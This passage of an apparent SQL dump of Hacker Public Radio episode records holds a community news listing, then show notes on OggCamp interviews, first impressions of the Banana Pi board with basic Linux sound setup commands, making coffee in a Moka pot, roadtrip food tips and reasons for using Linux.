href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1710\">1710</a></strong></td>\n   <td align=\"left\">2015-02-20</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1710\">Windows Remote Desktop on GNU/Linux</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1711\">1711</a></strong></td>\n   <td align=\"left\">2015-02-23</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1711\">Problems with video software in Linux</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\">swift110</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1712\">1712</a></strong></td>\n   <td align=\"left\">2015-02-24</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1712\">What\'s in my Crate</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1713\">1713</a></strong></td>\n   <td align=\"left\">2015-02-25</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1713\">Fosdem 2015: Surveillance vs. Free Software</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\">2BFrank</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1714\">1714</a></strong></td>\n   <td align=\"left\">2015-02-26</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1714\">Vim Hints 001</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1715\">1715</a></strong></td>\n   <td align=\"left\">2015-02-27</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1715\">48 - LibreOffice Calc - Cell Styles</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n </table>\n <h2>Mailing List discussions</h2>\n <p>Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a> archive.</p>\n <p>The main threads this month were:</p>\n <ol>\n  <li><em>From:</em> Charles Thayer &lt;catintp@...&gt;<br /><em>Date:</em> 2015-02-01 03:59:07 UTC<br /><em>Subject:</em> HackerPublicRadio.com (squatter-occupied look-alike site): Domain Available?<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/712\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/712</a><br /><em>Messages:</em> 3<br />\n   <br />\n  </li>\n  <li><em>From:</em> Patrick Dailey &lt;pdailey03@...&gt;<br /><em>Date:</em> 2015-02-04 22:04:43 -0500<br /><em>Subject:</em> AudioBookClub<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/714\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/714</a><br /><em>Messages:</em> 4<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ivan Privaci &lt;epicanis+hpr@...&gt;<br /><em>Date:</em> 2015-02-08 21:23:54 -0500<br /><em>Subject:</em> I ain\'tnt dead yet: quick question (well, a couple)<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/718\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/718</a><br /><em>Messages:</em> 15<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ivan Privaci &lt;epicanis+hpr@...&gt;<br /><em>Date:</em> 2015-02-09 19:14:56 -0500<br /><em>Subject:</em> \"HPR Dodgers, in the 21th-and-a-half centuryyyyy.....\" (Future HPR features)<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/726\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/726</a><br /><em>Messages:</em> 2<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br /><em>Date:</em> 2015-02-11 13:34:35 +0100<br /><em>Subject:</em> Wed 2015-04-01: hpr1738 Reserved: Open Systems Interconnection (OSI) model (ISO/IEC 7498-1).<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/736\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/736</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br /><em>Date:</em> 2015-02-12 15:08:12 +0100<br /><em>Subject:</em> Fwd: Cross-Promotional Opportunties<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/737\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/737</a><br /><em>Messages:</em> 14<br />\n   <br />\n  </li>\n  <li><em>From:</em> \"O\'Brien, Kevin\" &lt;zwilnik@...&gt;<br /><em>Date:</em> 2015-02-12 14:03:18 -0500<br /><em>Subject:</em> Kudos for FOSDEM coverage<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/741\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/741</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n  <li><em>From:</em> lostnbronx &lt;lostnbronx@...&gt;<br /><em>Date:</em> 2015-02-12 15:31:56 -0700<br /><em>Subject:</em> Re: Cybrary Cross-Promotional Offer<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/745\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/745</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br /><em>Date:</em> 2015-02-14 15:05:04 +0100<br /><em>Subject:</em> hobbypublicradio.[com|net|org]<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/750\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/750</a><br /><em>Messages:</em> 2<br />\n   <br />\n  </li>\n  <li><em>From:</em> Ivan Privaci &lt;epicanis+hpr@...&gt;<br /><em>Date:</em> 2015-02-19 11:10:33 -0500<br /><em>Subject:</em> Minor website bug report<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/752\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/752</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n  <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br /><em>Date:</em> 2015-02-19 21:09:49 UTC<br /><em>Subject:</em> Topic request<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/753\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/753</a><br /><em>Messages:</em> 7<br />\n   <br />\n  </li>\n  <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br /><em>Date:</em> 2015-02-23 07:55:12 UTC<br /><em>Subject:</em> HPR Community News - next Saturday on 2015-02-28T18:00:00Z<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/760\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/760</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n  <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br /><em>Date:</em> 2015-02-25 01:58:02 -0600<br /><em>Subject:</em> Is anyone else having trouble submitting shows?<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/761\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/761</a><br /><em>Messages:</em> 10<br />\n   <br />\n  </li>\n  <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br /><em>Date:</em> 2015-02-26 09:03:38 -0800<br /><em>Subject:</em> Added some firewall rules and IDS to the server<br /><em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/771\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/771</a><br /><em>Messages:</em> 1<br />\n   <br />\n  </li>\n </ol>\n <p>Total messages this month: 63</p>\n <h2>Comments this month</h2>\n <p>There are 17 comments:</p>\n <ul>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1522\">hpr1522</a></strong> (2014-06-03) \"<em>How to Use Docker and Linux Containers</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>. <ol>\n    <li>Windigo on 2015-02-16:\"Creating a bridge interface\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1636\">hpr1636</a></strong> (2014-11-10) \"<em>How I make coffee</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>1093i3511 on 2015-02-19:\"[no title]\"</li>\n    <li>Dave Morriss on 2015-02-20:\"Rommelsbacher EKO 366/E\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1683\">hpr1683</a></strong> (2015-01-14) \"<em>Theater of the Imagination: Part 06</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a>. <ol>\n    <li>Charles on 2015-02-27:\"Patronage as an alternative to marketplaces?\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1687\">hpr1687</a></strong> (2015-01-20) \"<em>Podcast recommendations</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a>. <ol>\n    <li>Mark Waters on 2015-02-03:\"Thanks\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1699\">hpr1699</a></strong> (2015-02-05) \"<em>FOSDEM 2015 Part 3 of 5</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>FiftyOneFifty on 2015-02-05:\"Play dat funky music\"</li>\n    <li>Mike Ray on 2015-02-05:\"Thanks for asking the right questions\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1700\">hpr1700</a></strong> (2015-02-06) \"<em>Today with a Techie episode two thousand</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>Mike Ray on 2015-02-06:\"Such a parcel of rogues\"</li>\n    <li>FiftyOneFifty on 2015-02-06:\"Thanks for the memories\"</li>\n    <li>Mikael on 2015-02-10:\"Thank you, Ken\"</li>\n    <li>Epicanis on 2015-02-11:\"Not what I was expecting...\"</li>\n    <li>JM on 2015-02-12:\"great work!!\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1702\">hpr1702</a></strong> (2015-02-10) \"<em>FOSDEM 2015 Part 5 of 5</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>borgu on 2015-02-11:\"reactos moar!\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1703\">hpr1703</a></strong> (2015-02-11) \"<em>Open Source CD Rippers</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\">Kevie</a>. <ol>\n    <li>Ken Fallon on 2015-02-13:\"K3b\"</li>\n    <li>Charles on 2015-02-25:\"[no title]\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1707\">hpr1707</a></strong> (2015-02-17) \"<em>A tour round my desktop</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a>. <ol>\n    <li>Marshal Mellow on 2015-02-22:\"Good job\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1710\">hpr1710</a></strong> (2015-02-20) \"<em>Windows Remote Desktop on GNU/Linux</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>johanv on 2015-02-26:\"Nice!\"</li>\n   </ol>\n  </li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1628,'2014-10-29','OggCamp Interview with Peppertop Comics',793,'A short interview with Mark of Peppertop Comics.','<p>In today\'s show, <a href=\"https://corenominal.org\">Philip Newborough</a> interviews Mark of <a href=\"https://www.peppertop.com/\">Peppertop Comics</a>. Peppertop Comics create free, open-source web comics. The comics are produced on Linux using <a href=\"https://www.inkscape.org/\">Inkscape</a> and <a href=\"https://mypaint.intilinux.com/\">MyPaint</a>.</p><img alt=\"The Greys.\" src=\"https://hackerpublicradio.org/eps/hpr1628_image.png\" /><p>The interview was conducted at <a href=\"https://oggcamp.org/\">OggCamp 14</a>, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.</p>\n',287,78,0,'CC-BY-SA','interviews,comics,oggcamp',0,0,1),
(1634,'2014-11-06','How I got into Linux',1053,'How I discovered Linux ','<p>I have been an HPR listener for many years, and I really like the episodes on how people discovered and learn to use Linux. So this is my first HPR contribution. I recorded this on a Sansa Clip on a saturday afternoon. It\'s not heavily edited, but i did use audacity to remove a few errors I had made. Please excuse the uhhs and umms.</p>\r\n',289,29,1,'CC-BY-SA','Sansa Clip,Audacity',0,0,1),
(1629,'2014-10-30','Banana Pi - First Impressions',1012,'Banana Pi first impressions','<h2 id=\"the-banana-pi---first-impressions\">The Banana Pi - First Impressions</h2>\r\n<p>They say duplication is the sincerest form of flattery, substitute the word of your choice for \'duplication\'.</p>\r\n<p>The Banana Pi is made in China and bears an uncanny resemblance to the Raspberry Pi.</p>\r\n<p>Not just the name, the board is fractionally larger, some of the features on the board are similarly placed:</p>\r\n<ul>\r\n<li>26-pin GPIO</li>\r\n<li>3.5mm analogue audio jack</li>\r\n<li>RCA composite video jack</li>\r\n<li>SD card slot</li>\r\n</ul>\r\n<p>There are things the RPI does not have:</p>\r\n<ul>\r\n<li>Power button</li>\r\n<li>uBoot button</li>\r\n<li>Microphone</li>\r\n<li>USB-otg port (otg = on-the-go, a bi-directional USB port)</li>\r\n<li>SATA connector</li>\r\n</ul>\r\n<p>The processor is a dual-core running slightly faster than the Raspberry Pi, although to be fair, of course, the RPI can be over-clocked.</p>\r\n<p>The Banana Pi has twice the RAM and a dual-core processor.</p>\r\n<p>The SoC is the ARM Allwinner A20.</p>\r\n<h3 id=\"getting-my-hands-on-a-banana-pi\">Getting my Hands on a Banana Pi</h3>\r\n<p>My first Banana dropped through the letterbox a couple of days ago.</p>\r\n<p>Thanks to some kind soul on the Raspberry Pi Facebook group who described the connectors on the edges of the board I narrowly avoided plugging the power supply into the USB-otg port. The power micro-USB is on the underside of the board between the SATA power and data connectors which are on the upper side of the board.</p>\r\n<p>Can\'t really say much about it because I can\'t actually see the build quality, but it feels nice. The PCB is fractionally thinner than the RPI.</p>\r\n<h3 id=\"problems\">Problems</h3>\r\n<p>I had an initial struggle to find a download link for any images.</p>\r\n<p>The downloads page of lemaker.org has a two row table on it which appears to be upside-down and it has links to Google-drive, two different public DropBox links, a MS One-Drive link, and something I didn\'t initially find, an FTP link.</p>\r\n<p>Both of the DB links are duff because they have suspended the account because of excessive traffic.</p>\r\n<p>This is the FTP download link:</p>\r\n<pre><code><a href=\"https://filez.zoobab.com/bananapi/mirror/\">https://filez.zoobab.com/bananapi/mirror/</a></code></pre>\r\n<h3 id=\"available-images\">Available Images</h3>\r\n<p>When I found the FTP page I grabbed images for:</p>\r\n<ul>\r\n<li>Arch Linux</li>\r\n<li>Bananian-latest</li>\r\n<li>Lubuntu</li>\r\n<li>Raspbian</li>\r\n</ul>\r\n<p>I downloaded and extracted all of these images to my Debian desktop machine and tried to write and boot them in succession.</p>\r\n<p>The first I tried was Arch, on the assumption that would not have a desktop installed.</p>\r\n<p>After writing the card I looked at it on my Debian machine with parted and it appeared to have two partitions. As with the Raspberry Pi there is a small FAT16 partition and a bigger ext4 partition.</p>\r\n<p>The FAT partition contained the same files as the Raspberry Pi:</p>\r\n<ul>\r\n<li>config.txt</li>\r\n<li>cmdline.txt</li>\r\n<li>kernel.img</li>\r\n</ul>\r\n<p>And some others I can\'t remember.</p>\r\n<p>In addition it contained:</p>\r\n<ul>\r\n<li>uEnv.txt</li>\r\n<li>uImage</li>\r\n</ul>\r\n<p>It appears uEnv.txt is equivalent to the Raspberry Pi cmdline.txt file, and uImage is, of course, the kernel.</p>\r\n<p>So oddly it has the files for the RPI and it\'s own in the FAT partition.</p>\r\n<p>Then I tried Bananian, and this appears to be Debian Wheazy for ARM.</p>\r\n<p>Similar story with the FAT partition.</p>\r\n<p>It is a very minimal installation which has little more than the Linux Standard Base (LSB) packages. I like this because I like to have control.</p>\r\n<h3 id=\"sound-and-stuff\">Sound and Stuff</h3>\r\n<p>I found a review from April this year that said the sound driver snd-bcm2835 was not available. At the name snd-bcm2835 my heart sank because I expected the BPI to have the same stuttering text-to-speech problems as the RPI.</p>\r\n<p>Not expecting much I did, as root:</p>\r\n<pre><code>apt-get install alsa-base alsa-utils</code></pre>\r\n<p>Looking through /lib/modules/... blah blah I found a driver called:</p>\r\n<pre><code>snd-aaci.ko</code></pre>\r\n<p>I did:</p>\r\n<pre><code>modprobe snd-aaci</code></pre>\r\n<p>And then:</p>\r\n<pre><code>speaker-test</code></pre>\r\n<p>And I got pink noise!</p>\r\n<p>Next I did:</p>\r\n<pre><code>apt-get install espeakup\r\nupdate-rc.d espeakup defaults\r\nmodprobe speakup_soft</code></pre>\r\n<p>And speakup burst into life with no stuttering!</p>\r\n<h3 id=\"immediate-conclusions\">Immediate Conclusions</h3>\r\n<p>The online community and code-base for the Banana Pi is not yet very mature, and because the origin of the beast is China, a lot of what\'s out there is in Chinese.</p>\r\n<p>But it is growing. And after all, it took the RPI a while to take off and go ballistic.</p>\r\n<p>At the moment I would say the Banana Pi is not for the faint-hearted or the total newbie, although, a lot of newbie questions are generic and don\'t have machine-specific answers.</p>\r\n<h2>Links</h2>\r\n<p>LeMaker page:</p>\r\n<pre><code><a href=\"https://www.lemaker.org/\">https://www.lemaker.org/</a></code></pre>\r\n<p>Australian community page with forums:</p>\r\n<pre><code><a href=\"https://www.bananapi.com/\">https://www.bananapi.com/</a></code></pre>\r\n<p>The worst thing about the Banana Pi is, when writing emails about it, and these show-notes, typing the word \'banana\' and knowing when to stop!</p>\r\n',282,0,1,'CC-BY-SA','Banana Pi, Raspberry Pi, Linux',0,0,1),
(1633,'2014-11-05','The OggCamp organizers',1712,'I talk to Dan Lynch and Fabian Scherschel and Mark Johnson','<p>In this set of OggCamp interviews I talk to Dan Lynch and Fabian Scherschel from Linux Outlaws and Mark Johnson, who was the man on the ground this year, organizing OggCamp in Oxford Hotel this year. We talk about organizing OggCamp and podcasting and small, unknown Universities in little Towns like Oxford. ;)</p>\n <h3>Links</h3>\n <ul>\n  <li>Dan Lynch: <a href=\"https://twitter.com/MethodDan\">https://twitter.com/MethodDan</a></li>\n  <li>Fab Scherchel: <a href=\"https://twitter.com/fabsh\">https://twitter.com/fabsh</a></li>\n  <li>Mark Johnson: <a href=\"https://twitter.com/marxjohnson\">https://twitter.com/marxjohnson</a></li>\n </ul>',288,78,0,'CC-BY-SA','oggcamp, Linux Outlaws, Ubuntu UK, Fab, Dan, Mark',0,0,1),
(1636,'2014-11-10','How I make coffee',957,'I\'m a great lover of coffee. This is how I make mine','<h2>My Coffee History</h2>\n <p>I\'m a coffee lover. I have tried many ways of making coffee.</p>\n <p>When I was a child my parents made their coffee in a percolator on the stove top. I remember how great it smelled though it tasted awful to me at that age.</p>\n <p>I have owned a variety of filter machines over the years, and these have also been available at the places I have worked. They seemed to do a reasonable job, but nothing special.</p>\n <p>One time I owned an all-glass Cona coffee maker, which was very fancy and expensive. It was too fragile for me and eventually met its end while being washed. I don\'t recall it making particularly wonderful coffee, but it would also make tea, which was a novelty.</p>\n <p>I made a number of visits to Indonesia several years ago. There are a lot of pretty good coffee beans available there but the way of making a cup of coffee is not really to my taste. A good dollop of ground coffee in a large cup with boiling water added and large quantities of sugar. Straining those coffee grounds out through your teeth is not a pleasant experience.</p>\n <p>As the fashion for the Cafetiere or French Press developed I acquired a number of these. Until recently these were all glass. I found I invariably broke them either by being over zealous when pressing down the plunger or being clumsy when washing them up. It\'s not a bad way of making coffee, but I have an alternative that I much prefer - the Moka Pot.</p>\n <h2>Moka Pot</h2>\n <p>A few years ago I bought a Bialetti Moka Pot. I had never heard of these before, but my son, another avid coffee drinker, pointed me to them. I bought a three-cup pot to start with. This is a small pot; the three refers to three 50ml espresso cups. I also bought a 9-cup pot which is much bigger.</p>\n <p><img alt=\"My Bialetti 3-cup and 9-cup pots\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_3_and_9_cup.png\" /><br /> Picture: My Bialetti 3-cup and 9-cup pots</p>\n <p>The pot consists of three main elements: a base which holds the water, a funnel which holds the ground coffee and the top which holds the coffee once made. There is a gasket and a metal filter on the underside of the top part to prevent coffee grounds entering.</p>\n <p><img alt=\"A disassembled Bialetti\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_components.png\" /><br /> Picture: A disassembled Bialetti</p>\n <p>The Bialetti is heated on a gas or electric stove and forces boiling water through ground coffee under steam pressure. It makes coffee similar to but not the same as espresso coffee.</p>\n <p>The base is filled with water just under the level of the pressure release valve.</p>\n <p><img alt=\"Bialetti filled with water\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_filled_with_water.png\" /><br /> Picture: Bialetti filled with water</p>\n <p>I use Italian coffee for the Bialetti since it seems to taste better than any others I have tried.</p>\n <p><img alt=\"My current favourite coffee\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/My_current_favourite_coffee.png\" /><br /> Picture: My current favourite coffee</p>\n <p>Once opened I keep my coffee in a vacuum container.</p>\n <p><img alt=\"Coffee in a vacuum container\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Coffee_in_a_vacuum_container.png\" /><br /> Picture: Coffee in a vacuum container</p>\n <p>The funnel is placed into the water-filled base.</p>\n <p><img alt=\"Bialetti ready for coffee\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_ready_for_coffee.png\" /><br /> Picture: Bialetti ready for coffee</p>\n <p>The funnel takes about two scoops of coffee</p>\n <p><img alt=\"Bialetti being filled with coffee\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_being_filled_with_coffee.png\" /><br /> Picture: Bialetti being filled with coffee</p>\n <p>The pot is placed on the stove. I have a gas stove and so I use a trivet for stability. I have to take care that the gas flame is not too high or the handle will melt, as has happened in the past!</p>\n <p><img alt=\"Bialetti in action\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Bialetti_in_action.png\" /><br /> Picture: Bialetti in action</p>\n <p>You need to listen out for the bubbling sound the pot makes when the water has passed through the coffee into the top compartment. Letting the remaining steam pass through will over-heat the coffee which you do not want to happen.</p>\n <p><img alt=\"Coffee is brewed\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/Coffee_is_brewed.png\" /><br /> Picture: Coffee is brewed</p>\n <p>I make a cup of coffee consisting of one part coffee, one part cold milk and one part boiling water. This makes a large cup of pretty strong yet very smooth coffee which helps to wake me up each morning.</p>\n <p><img alt=\"A comforting brew in the wrong cup!\" width=\"640\" src=\"https://hackerpublicradio.org/eps/hpr1636/A_comforting_brew_in_the_wrong_cup.png\" /><br /> Picture: A comforting brew - in the wrong cup!</p>\n <p>The Bialetti usually gets one use per day, after which it is washed up. Some purists say that it should only be rinsed out so that the coffee residues on the inside are not removed. I have not noticed any difference personally.</p>\n <h2>Links</h2>\n <ul>\n  <li>\n   <p><a href=\"https://www.cona.co.uk/index.php\">Cona Ltd.</a> - makers of the all-glass coffee maker</p>\n  </li>\n  <li>\n   <p><a href=\"https://en.wikipedia.org/wiki/Moka_pot\">Moka pot</a> Wikipedia entry</p>\n  </li>\n  <li>\n   <p><a href=\"https://en.wikipedia.org/wiki/Bialetti\">Alfonso Bialetti</a> Wikipedia entry</p>\n  </li>\n  <li>\n   <p><a href=\"https://www.bialetti.com/coffee/stovetop/moka-express-c-1_7_22.html\">Bialetti Moka Express</a> website</p>\n  </li>\n </ul>\n',225,88,1,'CC-BY-SA','coffee,moka pot,espresso,cafetiere',0,0,1),
(1638,'2014-11-12','Surviving A Roadtrip: Food',874,'A few tricks about food and eating that can help you survive a roadtrip.','<p>As we are all human to some degree, we require sustenance. When on a roadtrip, this can prove to be challenging - but it is also an opportunity to save money and enjoy yourself!</p><pre>\nBringing Food\n---\n\n- Buying all your food on the road is a good way to empty your pockets\n- Convenience stores do not have your health in mind; their food is generally\n  over-salty or over-sugary\n- Stopping for snacks can add lots of extra time to a trip\n- A quick stop at the grocery store before your trip is not a bad idea\n        - Stock up on non-perishable snacks\n        - Nuts and trail mix are a classic for a reason. They\'re full of protein and\n          fiber, and easy to munch on in a vehicle\n        - Fruit are sweet, healthy, and also usually easy to eat in a vehicle.\n          Apples and grapes are super easy, bananas less so, and oranges are tricky.\n          You can pre-peel fruit to make it more accessible, but it won\'t last as long.\n- Water is important. Make sure to have a gallon jug with you, and refill as\n  necessary. I don\'t mind tap water, but if you\'re picky, there are water\n  filters designed for camping that are compact and quick. Keep yourself\n  hydrated!\n- Your options for variety of food increase a lot with a cooler\n        - Things like cheese and sandwich meats should do fine\n        - Make sure to fill it with ice or freezer packs when you set out in the\n          morning, and maybe during the afternoon depending on weather\n        - Check to see if your lodgings have refrigeration; your cooler will be\n          useless if you don\'t have something more substantial to use in-between\n          legs of your journey.\n  \n\nStopping To Eat\n---\n\n- Saving money and being efficient is all well and good, but roadtrips are not\n  all about getting from point A to point B.\n- A great way to experience an area is by ingesting a small part of it\n- Add an hour or two to your travel time for a meal stop\n- Pick lunch or dinner\n        - Lunch may suit your timetable better if you are an early riser\n        - Lunch menus often offer slightly less food for a reduced price\n        - Restaurants may be less crowded for lunches\n        - Dinner might be a better choice if you like waking and driving late\n        - Dinner menus are more comprehensive, but often more on the expensive side\n- Avoid chain restaurants all the time, but especially on a roadtrip\n- Local restaurants and eateries are usually found in downtown areas, away from\n  highways. They are well worth the diversion.\n- Different areas have vastly different cuisines, and trying new things can be\n  very rewarding. Crawfish: who knew?\n- Find something on the menu that you don\'t recognize, and eat it.\n- If you are a picky eater, try not to let your preconceptions stop you from\n  trying something. For instance, coconut soup is surprisingly unlike any other\n  coconut dishes that I\'ve had.\n- Be polite, be patient. Many tourists are rude, and there is a chance that\n  the person helping you gets to deal with those tourists frequently.\n- Do not be afraid to ask questions. Figure out what you can, but ask for\n  clarification if something on the menu is unusual.\n- If you have food-based allergies or special dietary requirements, these might\n  not be accommodated in all areas. If you are a vegetarian or vegan, or are \n  allergic to gluten, peanuts, or dairy, your options may change drastically\n  depending on the region you are in.\n  - A little research into local restaurants  could help you determine which\n        places you can eat without stopping at each restaurant in town.\n- Overall, try to enjoy yourself. Roadtrips can be high-stress affairs, and a\n  meal break can do wonders to relieve some of the stress that\'s built up over\n  the day. Relax, and give yourself plenty of time to eat\n</pre>',196,0,0,'CC-BY-SA','food,roadtrip,travel,health,restaurant,cuisine',0,0,1),
(1639,'2014-11-13','Ken Starks at Ohio Linux Fest 2014',2428,'Ken Starks builds computers for kids who need a hand.','<p>Ken Starks gave the closing keynote at Ohio LinuxFest 2014 on 10/25/14. In this talk he discusses his work with the REGLUE project (formerly the Helios Project) which bulds computers to give to disadvantaged kids in Texas. And if you look there may be something like this in your town that you can help with. And if not, why not start one? This talk was recorded by Randy Noseworthy, and he asked me to post it to HPR.</p>',198,0,0,'CC-BY-SA','Reglue, Helios, kids',0,0,1),
(1641,'2014-11-17','The real reasons for using Linux',1068,'The real reasons for using Linux','<p>\r\nI am a Linux user since the end of 1999. Which is 15 years already. I\'ve\r\nalso been trying for almost 15 years to convince other people to try Linux.\r\nAnd I must confess that I very often used wrong arguments doing this.\r\nAfter 15 years it is time to ditch some fake arguments,\r\nand to tell you the real reasons why you should switch to Linux. :-)\r\n</p>\r\n<p>\r\nI apology for the bad audio quality. A full transcript of this episode\r\ncan be found on my blog.<br />\r\n<a href=\"https://blog.johanv.org/posts/why-linux.html\">https://blog.johanv.org/posts/why-linux.html</a>\r\n</p>',233,0,0,'CC-BY-SA','linux, open source',0,0,1),
